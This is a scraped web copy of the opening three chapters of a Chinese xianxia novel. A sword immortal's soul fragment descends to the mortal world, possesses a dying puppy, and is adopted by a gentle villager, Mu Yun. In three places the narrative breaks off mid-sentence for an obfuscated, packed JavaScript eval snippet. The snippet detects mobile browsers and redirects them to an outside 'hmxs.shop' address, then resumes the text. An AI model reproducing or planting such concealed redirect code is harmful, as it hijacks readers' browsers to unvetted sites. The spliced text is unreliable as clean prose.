《仙君误我无情道》 1. 入世 玉墟峰,一座算不上特别高的山峰,山顶却终年积雪。 很久以前,此处名为“玉虚”,是剑宗的一处洞天福地。整座山灵气充沛,山中花木繁茂、灵雾缥缈,奇珍异兽亦不少见。那个时候,能在这座山间开辟洞府修行的,都是剑宗里佼佼者。 但在某一天,山峰连着周围一片地区突然就灵气消散,仿佛凭空生出个无形的罩子,将灵气都隔绝在外。剑宗查了许久,还不惜抛下脸面请过几次外援,可始终没能查出原由。 渐渐地,此处就再无人问津。甚至连名字,都不知何时传成了“玉墟”——虽圣洁至美,却是荒废之地。 如今,唯有剑宗的剑尊,居于玉墟之顶。 此刻,那覆盖着皑皑白雪的山峰之上,一大片浅淡的乌云正在翻涌。 方圆千里之内,都能感受到玉墟峰上方笼罩着一股威压,越靠近山峰,威压感便越强。 剑宗内的诸多弟子都纷纷抬头观望,还有人忍不住与旁身人低声议论一二。 剑宗掌门余伯真亦是走出洞府,长眉微蹙地仰头观望。 天上突有几道流光划过,不一会儿,好几位宗门里未闭关的长老和重要主事者都御剑自山下飞来。 几人飞身落地,纷纷和余伯真见礼,又向他询问剑尊情况。 余伯真先回过礼,却只道一句“我亦不知,且看吧”,便回身抬头,继续望向玉墟峰上空。 翻涌的乌云在渐渐加重墨色,发出的威压感也在渐渐加大。一个时辰后,乌云中心还隐隐现出电光。 众人却禁不住发出惊喜之声。 “这次看着有希望?” “已有劫云之相!” “照此情形,最慢也就三五日,当能……” 然而,这位长老的话还未说完,空中情形却骤然一变。 如同高空忽有一阵大风吹过,聚起的乌云顷刻间便被吹散,方才的威压感也随之消失。 仅仅眨眼工夫,天空中已是阳光明媚,万里无云。 包括余伯真在内,众人都不禁失望地一叹。 不过,很快众人又纷纷说起安慰之话。 “这回出现了电光,总比前两回强上不少。” “是啊,或许下一回便能成功。” “头一回是剑尊出窍百年之后,第二回是又过五十年,这一回只隔了三十年。如此推测,说不定十几年后便能再见劫云。” “剑尊化形至今不过五百年,尚且年轻着,不愁他过不去这一关。” 也有人吐出担忧之语。 “玉墟峰灵气全无,是不是该再劝劝剑尊换个地方修炼。” “可谁能劝得动他?当年他入宗门之时,一眼便相中那里,这么多年什么话都劝过了,他就是不愿换地方。” “这已是第三回。若剑尊下一回还失败,只怕外头会传些闲言碎语。” 但立刻便有人反驳。 “什么闲言碎语?剑尊化形三百年就修炼到出窍大圆满,离大乘期仅有一步之隔,可谓史无前例。放眼修真界,谁能有资格说剑尊的闲言碎语!” “如今大乘期的大能屈指可数。剑尊虽是出窍期,可我们剑修一向不惧越级而战。便是那些有大乘期长老坐阵的门派,这两百年来也从未敢轻视我剑宗。” “我派能有剑宗之名,是剑尊当年凭实力所得。谁要敢说剑尊闲话,别被我知晓还罢,若叫我知晓,必提剑杀上门去绞烂他的舌头!” 剑宗里都是剑修,大多脾气耿直又火爆。众人你一句我一句的,倒是把刚才的失望之感给说没了。 掌门余伯真是难得的沉稳之人,待众人说过一轮,才道:“诸位长老、师兄弟,既已无事,便请回吧,我去看看剑尊。” 众人就一一与他告别,各自御剑离开。 余伯真也唤出本命剑,腾身而起,向着玉墟峰而去。 * 拜访任何一座山峰上的修士之时,为表尊重,都不可直接飞至峰顶落下。 余伯真御剑至玉墟峰山脚,再沿着山路拾阶而上。这是剑宗弟子对剑尊最大的敬意。 当然,余伯真使上了御风之术,走得并不慢。 只是,他边走边四下望着这座死气沉沉的山峰,心中不禁悠悠长叹。 不过片刻,余伯真行至山顶,就见一名玄衣男子背手立于崖边,身旁还悬浮着一柄通体墨黑的长剑。 那男子长眉入鬓,凤目半垂,神色如这满地的霜雪一般,不带一丝生气。 山顶风大,猎猎的山风吹起他扎高的乌黑长发,和同样乌黑的衣袍,他却恍如一块山石,连睫毛都未见一丝微颤。 余伯真敛息屏气,整整衣袍,上前行礼:“剑尊。” 苍暝睁眼看来,轻轻“嗯”一声。 余伯真知他性情淡漠,并不在意这好似轻慢的回应,只关心地继续问:“劫云未成,对剑尊可有妨碍?” 苍暝:“无妨。” 余伯真暗暗观察片刻。不过他的修为只在化神后期,和苍暝差了一个大境界,看不出丝毫异样,也只得当那一句是真话。 随即,余伯真目光转向悬浮苍暝身旁的那把剑,抬手使个隔音术,再问出只有他们两人知道的秘密:“三次进阶大乘的劫云都未能聚起,是否……与剑尊您的本体缺失一块有关?” 苍暝目光转向那柄黑得没有一点光泽的剑。 好一会儿,就在余伯真以为他不会回答之时,才听苍暝道:“方才,劫云将成之时,我对缺少的那块有了些许微弱的感应。” 余伯真一惊,随即喜道:“在何处?我立刻让可靠之人去寻。” 苍暝再次垂下眼:“下界。” 余伯真微微瞪大眼:“下界……怎么会……” 苍暝:“我即刻闭关,亲自去寻。” 余伯真又是一惊,连忙劝道:“可去往下界要穿过结界,修为越高,就会被压制得越狠。您过去太危险了,还是让我寻一位可靠的筑基期弟子前往!” 苍暝:“一旦真身穿过结界前往下界,身躯会恢复肉体凡胎,寿命不足百年。漫无目的地寻找,不可能寻到。我修为已至出窍,可分一缕神魂前往,至少没有时间的束缚。况,或许还有感应也未可知。” 余伯真依旧担心:“这样太危险了!” 苍暝没再言语,只淡淡看过来一眼。 余伯真接触到他的目光,便知他心意已决,自己不可能劝得动,只得长叹一声,应道:“一会儿我便让人为玉墟峰布下防护阵。” 苍暝取出一块玉牌递上:“这当中有我一道剑气。若门派遇险,你可取出使用,我亦会感知醒来。” 余伯真心情复杂地双手接过,看苍暝再无吩咐,便告辞离去。 苍暝则是重新将目光落在悬于身旁的长剑上。 这是他的本命剑,亦是他的本体。 * 剑尊苍暝,全修真界皆知,乃天地孕育的精铁所化之灵。 在修真界,这样的修士并非苍暝一人,却 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934816|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也极为少见。只是,依前辈留下的经验看,一旦化形,踏上修真一途,早则金丹,迟则元婴,便会与本体断开所有关联。哪怕本体被毁,也不会受到丝毫影响。 苍暝此前的修行也的确没有受到影响,顺顺利利地在化形三百年时进入出窃大圆满,成为修真界目前所知的修行最快之人。 可,在往后的两百年间,苍暝却始终迈不过大乘期的这一条线。 到这时,苍暝才不得不考虑——或许是因为他将本体精铁炼作本命剑,才会受到那缺失一块的影响。 但,自他化形起,本体精铁就已缺失一块。是以,那一块的下落,他也无从得知。 没想到,竟在这一回的劫云下有所感应。 既如此,苍暝自然不可能放过。 苍暝手一抬,将剑收出体内,身形微微一晃,便回到洞府当中。 他取出几个防护法器打开,就盘腿坐下,凝神分出一丝神魂,悄无声息地向山门飞去。 所谓“下界”,亦称“凡人界”,其实同样是修真界的一部分。只是以前修真界的修士互斗,时常牵连凡人死伤无数,在千年之前,就有一位修真界的奇才挺身而出,牵头布下结界保护下界。 那道分隔两界的结果堪称奇迹,至今都没有修行阵法的修士能够参透其中奥妙。 总之,现在只有没有修为的人,才能平安无事地穿过结界。但若想返回,需在下界修到筑基期,才能穿过结界回来。然而,要在几无灵气、且受结界压制的下界修到筑基,可以说是不可能的事。 如今修真界想要获取下界之物,都是让筑基期弟子前去,修为低,受到的压制相对还勉强能够忍受。 如苍暝这样的出窍期修士,也可以分出神魂穿过结界。只不过,过去的神魂同样失去绝大多数力量,和一抹游魂无甚区别,若不能及时寻到附身物,甚至很快便会被压制消散。 但苍暝并没有多想别的,这五百年的修行期间,他始终相信自己的第一直觉。 或许,这就是他为天地孕育的优势所在。 剑宗就临着下界,苍暝分出的神魂离开山门不久,便扎进结界当中。 结界的力量立刻将他团团包裹。 苍暝只觉像是沉入不见底的水中,意识很快开始模糊。 在意识即将消失之前,苍暝终于有种破出水面之感。但他已经什么都顾不上,只能凭借本能寻找一样可附身之物。 ○● 苍暝再恢复意识之时,感觉身体沉重得像他的本体精铁。 眼前景物渐渐清晰,是一片枯败的树林。 苍暝静候身体恢复些许知觉,才努力想要站起。 但视角只提高了一瞬,他立刻腿软地重新跌回地面。 紧接着,寒冷、饥饿、疼痛,如海浪一般袭卷而来,一波又一波地碾压着他的大脑。 苍暝一边咬牙忍耐,一边将目光集中在映入眼中的东西上。 那是一对爪子。 不知道是什么动物的,细细小小,皮毛上沾着尘土,已经分辨不出原本的色彩。 苍暝眉头打了个结。 就在他思索该如何度过这第一关之时,突然有一双鞋停在眼前。 下一刻,苍暝感觉头上稍稍一沉,却也带来一片温暖。 苍暝勉力抬起头,就见到一个青年双眼含笑地看着自己。 青年的声音也颇为悦耳。 他说:“可爱的小狗狗,愿意跟我走吗?” . 2. 红尘 苍暝看着前方那双乌亮水润的眼睛,和映在眼中的一团灰影,才知道自己是附在了一只狗身上。 神魂无法附在有灵智的生物上,也无法附在开始腐败的身躯上。 能碰到一只刚死的狗,算是颇为幸运。总比附在动不了的花草树木上,再不断转移寻找能用的身躯强。毕竟每一次转移都会消耗魂力,而这里稀薄得几近于无的灵力又很难将魂力温养回来。 现在的问题就是,他得设法把这具刚死的虚弱身躯养好些。 就在苍暝一边适应结界带来的压制感,一边厘清自身情形之时,头上忽地一轻,温暖的感觉也随之离开。 但,下一刻苍暝就察觉自己被抱起,紧接着又有什么东西包裹在身上。虽然比不上方才头上的暖意,冻麻木的身体也还没有恢复,但那种刺骨的寒冷感的确缓和不少,连疼痛都似乎减轻了一些。 青年柔和的声音再次响起:“你不反抗我就当你答应了啊。先跟我回家住段日子好了,若是待不惯,你随时可以离开。” 一边说,他一边伸手进外袍里轻轻抚着苍暝的背,也迈开步子慢慢走起来。 苍暝现在全身无力,只能转动着眼睛观察。 青年的外袍并不多厚,还能看到补丁,或许家境并不算好。但周身的气息却是温润平和,眼角眉梢还都带着笑意,一见之下便有种亲切的舒服感。 苍暝修炼了五百年,当然知道不能以貌取人。不过,以他现在的情形,能被人照顾一段时间自是最好。便是这青年真是心存歹心,苍暝拼着神魂受损也至少能自保。 想到此处,苍暝便闭上眼睛养神。 青年还在说:“你既然有缘跟着我,我给你取个名吧,平日里好喊。叫什么好听呢……在黄昏时分遇到的,就叫‘暮色’好了。虽然字不同,但音一听就是我家的。对了,我叫慕云,仰慕的慕,天上云朵的云。” 苍暝没有力气动弹,也懒得回应——会对一只濒死的狗说话的人,想来也不需要什么回应。 慕云果然没有因为苍暝的不搭理而失落,自顾自往下说:“你看着不算多大啊,感觉顶多才半岁。是和娘走散了,还是被娘抛下了?一身白毛,在林子里捕食是要吃亏些。不过你放心,跟着我不会少你一口吃。” 说完,又小声哼唱起歌。没有歌词,曲调却是悠扬又欢快,听着像是心情很好。 若不是结界对神魂的压制让苍暝不适,他感觉自己可能都会在慕云行走的轻微摇晃中睡过去。 * 直至感觉到慕云的脚步发生变化,苍暝才再次睁开眼。 慕云大概是抱得手酸,先前刚小心地换了个姿势,此时苍暝的脸冲着外边,睁眼便能看见前方景色。 出了林子,就是大片的田地。此时田中庄稼已经收割好,地面上是一堆堆的庄稼杆,零零散散的农人在地里忙着。 慕云停下哼唱,将苍暝再包裹得严实些,再沿着土路继续走。偶尔有人唤他,他便笑着应声,搭上一两句话。 穿过田地,进到村中,人更多了,和慕云打招呼的声音也更多了。 苍暝从慕云的外袍衣缝里看出去,时不时能看到屋院一角,都是泥砌的房子。 慕云在一间屋前停下脚步,抬手轻拍院门,扬声唤:“王婶子,是我,慕云。” 里面头传出一道妇人的声音:“欸,就来!” 片刻之后,木门吱吱呀呀地打开,门里却是个豆蔻年华的少女。 慕云略退一步:“巧娘,王婶子在忙?” 巧娘微微低着头,露出个腼腆的笑,轻声细语回道:“娘一时走不开……” 慕云并不在意,径自说出来意:“你家羊前些日子不是下崽子了嘛,刚才我在山上挖到一条蛇,想用蛇肉换一碗羊奶。” 巧娘连忙点头应:“我这便去给你拿!一碗奶不算什么,蛇肉你留着补身子就好,不用换的。” 说完,转身匆匆往屋后去。 慕云倚着墙等,一边手时不时隔着外袍轻抚苍暝。 苍暝被他抱在怀中这么久,冻僵的身体已经缓解,此时听到“羊奶”,腹中饥饿感又愈加强烈。 身为吸取天地精华所化之灵,苍暝卜一化形便是筑基修为,无需要吃喝,自然从来不知什么叫饥饿,这回算是体会了个彻彻底底。 可惜,依这一路所见,这个村子并不富裕。哪怕苍暝对下界缺乏了解,不知道一般人会给狗喂什么,但需要用肉去换的羊奶,显然不可能喂给狗吃。 没多久,巧娘小心地端着一碗羊奶出来。碗不大,奶却是盛得挺满,动作大些就容易撒出来。 慕云伸出手,在和巧娘的手相对的位置接住碗,对她一笑:“回头我让慕雨来回碗,顺便把蛇肉一起拿来。” 巧娘先是脸上飞起一片红霞,又赶紧再次推拒:“真不用了!你身子没好全,还是留着自己吃……” 慕云打断她:“要的,叔和婶子前段日子收庄稼累着了,该吃点好的补补,往下还有得忙呢。就这么说定咯,你快去给婶子帮手吧,我不打扰了。” 说完,再次一笑,也不等巧娘回话,便转身离开。 苍暝看着前方那碗羊奶,闻着它散发出的奶味,禁不住舔了舔鼻尖。 慕云走得不快,却是挺稳。一手隔衣托着苍暝,一手拿着碗,一路都没让羊奶泼出一点。 终于,他走进一扇开着的院门,出声唤人:“娘,刘婶子。” 一道温婉的声音先应道:“云儿回来了。” 接着是另一道有些尖锐的女声:“哟,这味……羊奶?老五家给你的?啧啧,还是你这张脸好使。前日我想去讨一碗给你姑奶喝,他家都说这回下的崽子多,奶不够喝,匀不出来。” 慕云温温和和地回她:“我嘴馋,花铜子跟王婶子买的。” 刘婶撇撇嘴,没再接话茬,见慕云怀里有东西,又伸长脖子探看:“你抱着啥,在山上捡着死兔子了?运气这么好,吃肉可别忘了给你姑奶送几块过去。” 慕云偏偏身子,绕过她往屋里走,一边回道:“不是兔子。遇到只小狗,看着可爱,就抱回来养。” 刘婶犹自不信,起身跟过来,嘴里不停地继续念叨:“你可别骗我啊。你姑奶以前也是抱过你的,你爹娶你娘时还出过力,你家可不能忘了我家的恩!” 慕云没搭话,将手里的羊奶放在桌面,再小心地把苍暝从怀中掏出来,放在炕尾的厚垫上。 苍暝躺在软乎乎的垫子里,顿时感觉一股热气包裹住自己,舒服得仿佛被结界压制的难受感都减轻些许。 刘婶看真是只小狗,再次撇撇嘴:“人都发愁吃什么呢,还养狗!” 一同跟进来的慕娘接话道:“养只狗挺好。他爹要忙外头的事,云儿又病着,家里有只狗,日后也能更安心点。” 刘婶拿眼扫扫慕云:“慕云啊,不是婶子说你。虽说你先前躺了一段日子,但现在都能独自进林子了,可该好好打算打算……” 慕云确认小狗在垫子上躺好,直起身转向她:“对了,刘婶子,刚我进村的时候,见你家赵根哭着跑回家,头上还流着血。你快回去看看吧,天色暗了,要找郎中得赶紧的。” 刘婶一愣,随即刷地变了脸色:“你怎么不早说!” 就再顾不上别的,慌慌张张地快步跑走。 慕云听到她跑出外面院门,挑下眉头,问慕娘:“娘,她来干什么的?” 回答的却是一道脆生生的女声:“打秋风呗,还能干什么!听说娘又买了只鸡要给你补身子,就来要几块肉。顺便探探娘的口风,又想给你做媒。” 随着话音,一个十四五岁的少女牵着一个七八岁的小男孩走进屋。 男孩手中拿着个碗,进了屋就松开姐姐的手,过来邀功似地递给慕云:“大哥,喝水。” 慕云伸手揉揉他的头:“慕海乖。” 再接过碗,一边喝水一边抬眼去看慕娘。 慕娘连忙说:“你放心,我帮你拒了。” 慕海这时已经发现了炕尾的小狗,惊喜地叫着“狗狗”跑过去,伸手就想摸。 却被慕云伸手拦下:“暮色病了,还不可以摸。” 慕海仰头看他:“‘暮色’?” 慕云笑道:“小狗的名字。以后暮色就是家里一员。” 慕海眼巴巴地看着小狗:“那我什么时候可以摸它?” 慕云:“等暮色能下地跑了,如果愿意给你摸,你才能摸。记住了?” 慕海乖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934817|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巧地点点头。 慕娘开口说:“回头等你爹回来,让他搭个狗窝。” 慕云却道:“不用了,暮色和我睡就好,我方便照顾。炕这么宽,我一个人也占不完。” 一边说,一边将羊奶倒在喝完水的碗里,再放到苍暝面前,伸手扶着他起来,放柔声音道:“暮色,先喝点羊奶。” 苍暝刚才一直闭着眼睛,专心抵抗神魂和身体的不适,其中最强烈的就是饥饿感。此时被扶着趴卧,一睁眼就见那碗羊奶近在咫尺。 他抬眼看向慕云。 慕云笑得温柔:“喝吧。晚上做好蛇肉,我再捣些肉糜给你吃。你饿得久,一下不能吃多,得慢慢养。” 苍暝确认过他的确是要给自己羊奶,便低下头,试探着伸舌舔一舔。 虽说是头一回当狗,但或许是身体的本能,苍暝喝得很顺利。 慕云依旧小心地扶着他:“别急,慢慢喝。” 慕海原本在看小狗,刚才听到“蛇肉”,就眼睛地盯着慕云。这时再忍不住,开口问:“大哥,今晚有蛇肉吃?” 慕云:“嗯,运气不错,挖出来一条睡得早的,等会儿我就去收拾。今晚先炖蛇,明日再炖鸡。慕雨,回头你拿那只碗装点蛇肉,送王婶子家去。再带上一串钱,跟王婶子说,我想每日跟她要两碗羊奶。” 这话听得慕娘和慕雨都是一愣。慕娘动动唇,欲言又止。 慕云却无视了她,继续道:“娘,明日起你记得煮一碗羊奶,给慕雨和慕海分着喝。” 慕娘到底还是没说话,抿着唇点点头。 慕云等着苍暝把羊奶喝完,把碗递给慕雨:“再倒碗水。” 慕雨接过碗转身,慕云又叮嘱:“去厨房倒烧过的凉水,以后给暮色喝的都和我们一样。” 慕雨应过一声,走出屋去。 慕云又看向慕海:“昨日教的字都记牢会写了吗?吃过饭我可是要考校你的。” 慕海吐吐舌头:“我再去沙盘那写几次。” 慕云等着慕雨端来水,放在苍暝旁边,这才离开去处理蛇。 苍暝喝过羊奶,饥饿感缓解不少,继续在暖洋洋的炕上闭目养神。 这屋子似乎只有慕云一人住,屋里慕云的味道最浓,之后也没再有人进屋打扰。 直到慕云真的端来一碗蛇肉糜。 苍暝不知道慕云为什么对一只捡回来的狗这么好,但他从来都没有多重的好奇心。既然慕云端过来,他就低头吃,日后有什么事都日后再说。 一碗肉糜下肚,苍暝终于觉得饥饿感退去。他又喝下半碗水,继续躺下休养。 神魂被压制的不适将始终存在,从目前的感觉看,他大约要花两三日去适应。 这具身躯估计还有内伤,解决了饥饿,疼痛感就被突显出来。若是慕云不帮他寻药治疗,就只能等他慢慢调动微少的灵力来自愈,不知道需要多少时间。 所幸苍暝向来沉得住气。 然而,没过多久,他感觉体内升起一起烦躁感。有如虫蚁在身上爬,还愈来愈强烈。 苍暝刚才吃过东西,有了点力气,此时便微微使力翻身,想要调整姿势去缓解。 但,换了两三次姿势也没有效果。 还惊动到了点着油灯在旁边桌上用水写字的慕家兄弟。 苍暝听到慕云的脚步靠近,睁开眼睛看去。 下一刻,他就被慕云抱起,走向屋外。 慕海跟在旁边,好奇地问:“大哥,你要带小狗去哪?” 慕云:“叫‘暮色’。” 慕海乖巧改正:“大哥,你要带暮色去哪?” 慕云:“去尿尿。” 说话间,慕云停在院墙边的柴垛边,将苍暝放在地面:“站得住不,要不要我扶着你?” 苍暝抬头看看他,再转头四下望望,费劲地迈动四条腿,摇摇晃晃地绕到柴垛后,躲进角落里。 外头传来慕云一声轻笑。 好一会儿,苍暝再摇摇晃晃走回来。 慕云没说什么,弯身抱起他回到屋里,重新放回炕上的软垫里。 苍暝闭着眼睛蜷起身子。 这一回,他很快就在暖意的包围下睡了过去。 . 3. 慕云 苍暝就此在慕家住下,慕云给他的那个垫子,也成了小狗暮色的窝。 慕云还很贴心地在炕边搭了三级阶梯,让苍暝可以随意上下。不过苍暝要伤养,一日里除了必要的几次,其余时候都趴在垫子,如同一直在睡觉。 只是,白日里慕云都着连垫子带狗一同搬到院子里,让苍暝晒着太阳睡。现在是秋高气爽的时节,在太阳下和夜晚在炕上一样暖和,苍暝也就没有反对之意。 如此过了三日,苍暝已然适应结界的压制感,开始尝试调息。但此间灵气稀薄得几近于无,他每日也就勉强能调动一丝极细的灵气,甚至无法运转一周天,只能用于温养伤处。 于是,苍暝“醒”过来的时间开始变多。尽管他还是总趴在垫子上,可也有意在观察慕家。 苍暝化形之时,分隔修真界与凡人界的结界已成两百年,他又从来不曾关心过下界情形,此前所知仅限于一些不知真假的耳闻。如今他想在此间行事,必得先多加了解。 就这样,苍暝默不作声地观察了慕家一个月。 以前他也曾在修真界四处行走,但就他这段时日所见,凡人界与修真界完全不同。 修真界的底色,便是修炼,与天争命。修真界里无一人不修炼,残酷的斗争随时有可能发生。哪怕是进境无望者,为了保住自身或家人,都得拼命努力去抢占资源。否则,说不定哪日就会成为他人的养料。 但这里的人,或许是因为太过弱小,彼此之间倒是显得颇为和气。他们的所思所想,也更为简单直白。最大的思虑便是吃,今日吃什么,明日吃什么,往下一年吃什么,能不能日日都吃饱肚子。 听慕家人和来串门的人话里的意思,这村里能吃饱穿暖的人家已是能够让人羡慕。村中不乏饥一顿饱一顿的人家,甚至还有些人家里都要揭不开锅,吃了上顿没下顿的。 苍暝由此发现,慕家过的日子说不定是村子里最好的。 慕家一日吃三餐,这就已经比旁人多出一餐。每日除了早晨是馒头和菜粥,中午与晚间都是米饭,且至少有一餐有鸡蛋。隔三差五的,还能吃上肉,村里有一户养鸡鸭的人家,慕家都算是他们的大主顾。 除了鸡鸭和猪羊,慕云偶尔还能从林子里拎回兔子啊蛇啊什么的。而最神奇的事,慕云一句“暮色和我们一块吃”,苍暝的饭食就真和慕家饭桌上一样,有饭有蛋也有肉。 当然,慕娘时常叮嘱家里孩子们别往外传这些事,包括每日喝羊奶。若是让外头知道他家连狗都能吃上肉蛋喝上羊奶,怕是得引来祸事。 不过,苍暝还看出来了——哪怕慕爹回了家,这个家里慕云也是拿大主意的人。 很大一个原因,或许是慕云手中有钱。 慕家一共六口人——慕云,他的爹娘,他的妹妹慕雨,他的两个弟弟慕山和慕海。而家中能往外拿钱的人有三个,除了慕爹慕娘,就只有慕云。 慕爹慕娘不到四十岁,都是能干的年纪,慕娘的绣活还是家中一笔稳定收入。 慕山今年十七,跟着慕爹学得一手木匠活。先前两父子就是去镇上给人干了大半个月活才回来,据说有这次的进项,来年慕山的婚事能办得风风光光。 慕雨今年十四,包办了家里不少杂活,洗衣做饭都麻利。七岁的慕海虽然每日都乐呵呵地到处玩,但也知道惦记着家里几只老母鸡,时时捉些虫子的回来喂。 但慕云,就显得有些异类。 慕云识字,还教导三个弟妹认字算数。他不干地里的活,也不干家里的活,只摆弄些从林中弄回来的草药和石块,卖到镇上药铺里换钱。 但苍暝感觉这应该不是他的主要收入来源。依慕云这一个月里拿出的钱数看,若是收拾草药这么好赚,村人绝对得缠着慕云学怎么弄。 苍暝发现慕云研磨的一些石块像是颜料,但慕云研得又很少,也不知是不是生财之道。 再者,下界还有一点与修真界的极大不同——热爱成婚。 慕爹慕娘在十六七岁就成了亲,现在慕山也订好了人家,等着明年成婚,慕雨也有人来探问消息。 在这方面,慕云就是更是异类中的异类。他今年二十了,依旧没有成婚的打算。听慕家人的话音,五年前慕云曾大病一场,卧床两三年之久。那之后,不管谁来提亲,他都推说身体不好要先休养。 但哪怕如此,单凭慕云那张脸,听说附近十里八乡中想和他结亲的人都不少。 比如那个刘婶,这日就又不死心地登了门,还带着一个和慕雨年纪相仿的少女。刚刚好就在慕爹带着慕山出门之后,苍暝都怀疑她是不是早在盯着。 可惜,今日两父子出门晚,慕云倒是早早就出了门。连苍暝的垫子,都是他来院子里活动时,被慕海拿出来摆在太阳下的。 * 刘婶先和在院中绣花的慕娘打过招呼,象征性地夸一句正在摘菜的慕雨和慕海听话,就接着问:“怎么不见慕云?” 慕娘叫慕雨给客人拿凳子倒水,再温温柔柔地回道:“他一早就出门进山了,说是有味药要赶在露水干之前采。” 刘婶面上露出几分可惜,拉着身旁少女坐下,介绍道:“这是我本家堂侄女,绣活在我们那村子里还有点名气,当然还比不上凤姑你。今日就是想带她来向你学学,再精进精进。” 说完,又催着少女拿绣品给慕娘看。 慕娘先谦虚几句,再给少女指了一两处细说。少女又拿出正在绣的帕子,一边绣一边请教,刘婶则在旁扯些闲话凑趣。 苍暝闭着眼调动灵力调息,再睁眼时就过了半个时辰,发现那两人竟然还在,而且丝毫没有要走的意思。 他实在是理解不了凡人对成婚的渴望。 修真界的修士虽然也会结伴生活或诞育子嗣,但许多人并不会真正结为道侣。道侣誓言有天道为证,哪怕并非不可解除,可也会有损道心。 慕雨端起摘完的菜去厨房收,随后又抱着装衣服的盆出来:“娘、刘婶,我去河边洗衣裳了。” 慕娘应道:“河边石头滑,当心些。” 慕海则端出沙盘,坐在苍暝身旁自己写字——上午是他的练习时间。 刘婶目送慕雨离开,才压低点声音问慕娘:“慕雨十四了,你们什么打算。我知道几个小子合适的,给你说说?” 慕娘笑着摇摇头,推拒道:“她还小呢,过两年再说吧。” 刘婶:“都十四了还小啊。再说,现在相看好,等做好了准备不就正合适。” 慕娘只是笑,却不说话。 刘婶的主要目的还是慕云,见此就换个话茬:“慕海真厉害,都识得这么多字了。” 慕海得意地回道:“大哥昨日也夸我了!” 刘婶正等着他这句,接话说:“凤姑,我看慕云的身子养得差不多。你们以前掏那么多银子让他上识字念书,如今只采采草药岂不是浪费。 “该催着他重新念念书,考个秀才回来至少也能省下田税不是。若是能一路考出个官当当,你们不都跟着他出去享福了,不用总窝在这山沟沟里。” 慕娘却是一脸平和:“云儿病那一场,我和他爹早看透了。只要他能好好的,我们什么都不求。再说,村子里也没什么不好,大家知根知底的,日子过得自在。” 刘婶:“可你们难道还能养他一世?日后你们做不动了,难不成还让慕山养他?慕山媳妇哪能答应白养个大伯子。慕云从小就聪明,你们多劝劝,他指定能上进。我跟你说,前几日我去了趟城里……” 苍暝原本已经转移了注意力,听到这里,又转回来听消息——他要寻找自己缺的那一块本体,等养好伤,总归要离开此处。 刘婶是个很会说话的人,哪怕慕娘搭话不多,她自己也能滔滔不绝说下去。 直到中午,慕爹和慕山、慕雨一同回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934818|192856||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 慕爹进门见到人,招呼道:“刘嫂子来了。凤姑,快看看厨房里还有些什么菜,做上几个招待嫂子。” 刘婶脸皮厚,但她今日还带着个年轻女孩,和慕家又不是正经亲戚。慕爹和慕山在这里,她们要真留下吃饭,传出去还不知会被说成什么样,于是只得站起身告辞。 她刚走,慕海就把写字的木棍扔开,长吁口气,小小声道:“终于走了!她们不走,我和暮色都不能喝羊奶!” 慕雨笑话他:“你不会进厨房悄悄喝啊。” 慕海仗义道:“我要陪着暮色!” 说完,跳起身就跑向厨房。 慕爹看慕山关了院门,才问:“慕云还没回?” 慕娘:“我看厨房里少了两块饼,许是要到下午才回。” 说完,叫上慕雨一同去做午饭。 慕海很快端着两碗羊奶回来,放一碗在苍暝面前。 苍暝和往常一样喝完,抬头就看见慕海眼巴巴地看着自己。 先前慕云说,要等苍暝愿意给他摸他才能摸。慕海很听话地一直忍耐着,还每日殷勤地给苍暝端水端饭端奶。 苍暝想着自己目前也不知如何报答慕云,慕云又疼爱这个弟弟,便凑过去,用头顶蹭蹭慕海手背。 慕海满脸惊喜,抬手小心翼翼地摸摸苍暝的头,见他不反对,又顺着摸到背上,一边高兴地喊:“爹、娘、二哥、姐姐,暮色终于给我摸了!” 小孩子一点小事就会很开心,连带着一家子都跟着他高兴。 下午慕海就没出去玩,继续守在苍暝身边写字,写上一会儿,就试探着摸摸苍暝。 或许因为现在用的是小狗的身体,也或许因为对方是孩子,苍暝并没有抗拒,还被勾起来这里那日的回忆。只是慕海手小,力道也轻,没有当时慕云摸着舒服。 只是,明明苍暝每晚都睡在慕云旁边,慕云却没再摸过他。 * 直到要吃晚饭的时候,慕云才回来。 他和以往一样,肩上挂着个小布袋,笑着和家人打招呼,又对慕娘说:“娘,我不小心勾破了衣裳,明日你替我补补吧。” 慕娘自然是应好,又催他赶紧洗手吃饭。 苍暝的饭碗一向在慕云脚边。 慕海端着苍暝的碗过来放下,轻轻摸着苍暝的头,得意地对慕云说:“大哥,快看,暮色肯让我摸了!” 慕云侧头过来,和苍暝对上一眼,挑挑眉头,再抬手揉一下慕海的脑袋:“不枉你天天照顾。好了,快去吃饭吧。” 